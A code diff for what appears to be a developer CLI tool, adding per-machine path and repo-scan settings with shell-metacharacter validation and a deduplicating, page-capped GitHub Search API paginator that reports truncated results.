+ * Set (or, with `undefined` or an empty string, clear) a path setting for
155
+ * this machine only, recording how the value was obtained. A relative value
156
+ * is stored resolved against the current directory (#1933), so it never
157
+ * depends on where a later command runs. Returns what was stored.
158
+ *
159
+ * @throws ValidationError when the path contains a shell metacharacter.
160
+ */
161
+ export function setMachinePath(key, value = '', source = 'set') {
162
+ assertSafeMachinePath(key, value);
163
+ const stored = value && path.resolve(value);
164
+ updateLocalConfig({ [key]: { path: stored, source } });
165
+ return stored;
166
+ }
167
+ /** `~/x` with the home directory expanded; anything else unchanged. */
168
+ function expandHome(entry) {
169
+ return entry === '~' || entry.startsWith('~/') ? path.join(os.homedir(), entry.slice(1)) : entry;
170
+ }
171
+ /** True for an absolute, shell-safe path to a directory on this machine's disk. */
172
+ function isSafeDirHere(candidate) {
173
+ return (path.isAbsolute(candidate) &&
174
+ !SHELL_UNSAFE_PATH.test(candidate) &&
175
+ !candidate.includes('\0') &&
176
+ fs.statSync(candidate, { throwIfNoEntry: false })?.isDirectory() === true);
177
+ }
178
+ /**
179
+ * The stored local entries as scan roots: `~/` expanded, relative or unsafe
180
+ * entries skipped (a hand edit cannot depend on the current directory), and
181
+ * a warning for an entry that is not on disk (the scan skips it).
182
+ */
183
+ function usableScanPaths(entries) {
184
+ const usable = [];
185
+ for (const raw of entries) {
186
+ const entry = expandHome(raw);
187
+ if (!path.isAbsolute(entry) || SHELL_UNSAFE_PATH.test(entry) || entry.includes('\0')) {
188
+ warn(MODULE, `Skipping localRepoScanPaths entry "${raw}": not an absolute, shell-safe path`);
189
+ continue;
190
+ }
191
+ if (!fs.existsSync(entry))
192
+ warn(MODULE, `localRepoScanPaths entry ${entry} does not exist on this machine`);
193
+ usable.push(entry);
194
+ }
195
+ return usable;
196
+ }
197
+ /**
198
+ * This machine's repo scan roots (#2010) and how they got there, or undefined
199
+ * to use the defaults.
200
+ *
201
+ * A stored local value wins, even an empty one (`setup --set
202
+ * localRepoScanPaths=`), which means "use the defaults". With none, a synced
203
+ * list is adopted (copied to the local file) only when every entry is an
204
+ * absolute, shell-safe directory here; otherwise it was written for another
205
+ * machine and is ignored.
206
+ */
207
+ export function getMachineScanPaths(synced) {
208
+ const stored = readLocalConfig().localRepoScanPaths;
209
+ if (stored) {
210
+ const local = Array.isArray(stored) ? { paths: stored, source: 'set' } : stored;
211
+ const paths = usableScanPaths(local.paths);
212
+ return paths.length > 0 ? { paths, source: local.source } : undefined;
213
+ }
214
+ if (!synced?.length || synced.some((entry) => !isSafeDirHere(entry)))
215
+ return undefined;
216
+ adopt({ localRepoScanPaths: { paths: synced, source: 'adopted' } });
217
+ return { paths: synced, source: 'adopted' };
218
+ }
219
+ /**
220
+ * Set this machine's scan roots from a comma-separated list. Entries are
221
+ * trimmed, `~/` is expanded and relative entries resolve against the current
222
+ * directory. An empty list clears them, so the defaults apply. Returns what
223
+ * was stored.
224
+ *
225
+ * @throws ValidationError when an entry contains a shell metacharacter.
226
+ */
227
+ export function setMachineScanPaths(value) {
228
+ const paths = value
229
+ .split(',')
230
+ .map((entry) => entry.trim())
231
+ .filter(Boolean)
232
+ .map((entry) => {
233
+ assertSafeMachinePath('localRepoScanPaths', entry);
234
+ return path.resolve(expandHome(entry));
235
+ });
236
+ updateLocalConfig({ localRepoScanPaths: { paths, source: 'set' } });
237
+ return paths;
238
+ }
239
+ /** The cache with only the repos whose checkout is on this machine's disk. */
240
+ function withExistingRepos(cache) {
241
+ const repos = {};
242
+ for (const [name, info] of Object.entries(cache.repos)) {
243
+ if (fs.existsSync(info.path))
244
+ repos[name] = info;
245
+ }
246
+ return { ...cache, repos };
247
+ }
248
+ /**
249
+ * This machine's local repo cache, or undefined when a scan is needed.
250
+ *
251
+ * Entries whose path is gone are dropped on every read (the file itself is
252
+ * rewritten by the next scan). A synced cache left by an older client is
253
+ * adopted once, minus the entries that are not on this disk, and is ignored
254
+ * when none of its repos are here: it was written by another machine.
255
+ */
256
+ export function getMachineRepoCache(synced) {
257
+ const local = readLocalConfig().localRepoCache;
258
+ if (local)
259
+ return withExistingRepos(local);
260
+ if (!synced)
261
+ return undefined;
262
+ const here = withExistingRepos(synced);
263
+ if (Object.keys(synced.repos).length > 0 && Object.keys(here.repos).length === 0)
264
+ return undefined;
265
+ adopt({ localRepoCache: here });
266
+ return here;
267
+ }
268
+ /** Store a fresh scan for this machine only. */
269
+ export function setMachineRepoCache(cache) {
270
+ updateLocalConfig({ localRepoCache: cache });
271
+ }
@@ -49,8 +49,8 @@ export interface MergedPRNotes {
49
49
  /**
50
50
  * Heuristic: every note reads as thanks or praise (keyword, no question,
51
51
  * short, no change-related wording) and nobody pushed on top. The workflow
52
- * confirms this with the comment-decision classification before acting on
53
- * it; see {@link groupThanksOnlyAcknowledgments}.
52
+ * confirms this against the live thread before acting on it; see
53
+ * {@link groupThanksOnlyAcknowledgments}.
54
54
  */
55
55
  thanksOnly: boolean;
56
56
  /**
@@ -36,3 +36,58 @@ export declare function paginateAllDetailed<T>(fetchPage: (page: number) => Prom
36
36
  export declare function paginateAll<T>(fetchPage: (page: number) => Promise<{
37
37
  data: T[];
38
38
  }>, perPage?: number, maxPages?: number): Promise<T[]>;
39
+ /** The part of a Search API response {@link searchAllPages} reads. */
40
+ export interface SearchPage<T> {
41
+ total_count: number;
42
+ incomplete_results?: boolean;
43
+ items: T[];
44
+ }
45
+ /** Result of {@link searchAllPages}. */
46
+ export interface SearchPagesResult<T> {
47
+ /** The items of every page read, unique by `html_url`, in the order first seen. */
48
+ items: T[];
49
+ /** `total_count` from the last page read; 0 when none was. */
50
+ totalCount: number;
51
+ /** Pages read successfully. */
52
+ pagesRead: number;
53
+ /** GitHub flagged a page `incomplete_results` (the search timed out server-side and returned what it had). */
54
+ incomplete: boolean;
55
+ /** The page after the first whose request failed, with the error; the pages before it were kept. */
56
+ failure?: {
57
+ page: number;
58
+ error: unknown;
59
+ };
60
+ /**
61
+ * True when `items` is not the whole result: a later page failed, GitHub
62
+ * flagged a page incomplete, or fewer unique items were read than
63
+ * `totalCount` (the page cap, or the list shifted between page requests
64
+ * and an item was skipped). Callers must surface this and must not read
65
+ * "absent from the items" as "does not exist" (#1928).
66
+ */
67
+ truncated: boolean;
68
+ }
69
+ /**
70
+ * Page cap for {@link searchAllPages}. The Search API gets unreliable (500s,
71
+ * ECONNRESET) past page 3 and allows 30 requests a minute, so callers narrow
72
+ * the query rather than raise this.
73
+ */
74
+ export declare const SEARCH_MAX_PAGES = 3;
75
+ /**
76
+ * Read a Search API query page by page until every result is read or the
77
+ * page cap is reached. The search is sorted by update time, so an item
78
+ * updated between two page requests can come back on the next page too:
79
+ * items are deduplicated by `html_url`.
80
+ *
81
+ * A page after the first that fails ends the search with the items read so
82
+ * far, `failure` set and `truncated` true; the caller reports it.
83
+ *
84
+ * @param fetchPage Function that fetches a single page given a page number
85
+ * @param maxPages Maximum pages to fetch (default {@link SEARCH_MAX_PAGES})
86
+ * @param perPage Items per page (default 100)
87
+ * @throws Any error from page 1, and a rate-limit or auth error from any page, unchanged
88
+ */
89
+ export declare function searchAllPages<T extends {
90
+ html_url: string;
91
+ }>(fetchPage: (page: number) => Promise<{
92
+ data: SearchPage<T>;
93
+ }>, maxPages?: number, perPage?: number): Promise<SearchPagesResult<T>>;
@@ -1,3 +1,4 @@
1
+ import { isRateLimitOrAuthError } from './errors.js';
1
2
  /** Maximum pages to fetch to prevent runaway pagination */
2
3
  const MAX_PAGES = 10;
3
4
  /**
@@ -36,3 +37,61 @@ export async function paginateAll(fetchPage, perPage = 100, maxPages = MAX_PAGES
36
37
  const { items } = await paginateAllDetailed(fetchPage, perPage, maxPages);
37
38
  return items;
38
39
  }
40
+ /**
41
+ * Page cap for {@link searchAllPages}. The Search API gets unreliable (500s,
42
+ * ECONNRESET) past page 3 and allows 30 requests a minute, so callers narrow
43
+ * the query rather than raise this.
44
+ */
45
+ export const SEARCH_MAX_PAGES = 3;
46
+ /** One page, or the error of a later page the search can go on without. */
47
+ async function readSearchPage(fetchPage, page) {
48
+ try {
49
+ return await fetchPage(page);
50
+ }
51
+ catch (error) {
52
+ if (page === 1 || isRateLimitOrAuthError(error))
53
+ throw error;
54
+ return { error };
55
+ }
56
+ }
57
+ /**
58
+ * Read a Search API query page by page until every result is read or the
59
+ * page cap is reached. The search is sorted by update time, so an item
60
+ * updated between two page requests can come back on the next page too:
61
+ * items are deduplicated by `html_url`.
62
+ *
63
+ * A page after the first that fails ends the search with the items read so
64
+ * far, `failure` set and `truncated` true; the caller reports it.
65
+ *
66
+ * @param fetchPage Function that fetches a single page given a page number
67
+ * @param maxPages Maximum pages to fetch (default {@link SEARCH_MAX_PAGES})
68
+ * @param perPage Items per page (default 100)
69
+ * @throws Any error from page 1, and a rate-limit or auth error from any page, unchanged
70
+ */
71
+ export async function searchAllPages(fetchPage, maxPages = SEARCH_MAX_PAGES, perPage = 100) {
72
+ const seen = new Set();
73
+ const result = { items: [], totalCount: 0, pagesRead: 0, incomplete: false, truncated: false };
74
+ let fetched = 0;
75
+ for (let page = 1, hasMore = true; hasMore && page <= maxPages; page++) {
76
+ const outcome = await readSearchPage(fetchPage, page);
77
+ if ('error' in outcome) {
78
+ result.failure = { page, error: outcome.error };
79
+ break;
80
+ }
81
+ const { data } = outcome;
82
+ result.pagesRead = page;
83
+ result.totalCount = data.total_count;
84
+ if (data.incomplete_results)
85
+ result.incomplete = true;
86
+ for (const item of data.items) {
87
+ if (seen.has(item.html_url))
88
+ continue;
89
+ seen.add(item.html_url);
90
+ result.items.push(item);
91
+ }
92
+ fetched += data.items.length;
93
+ hasMore = data.items.length >= perPage && fetched < result.totalCount;
94
+ }
95
+ result.truncated = result.failure !== undefined || result.incomplete || result.items.length < result.totalCount;
96
+ return result;
97
+ }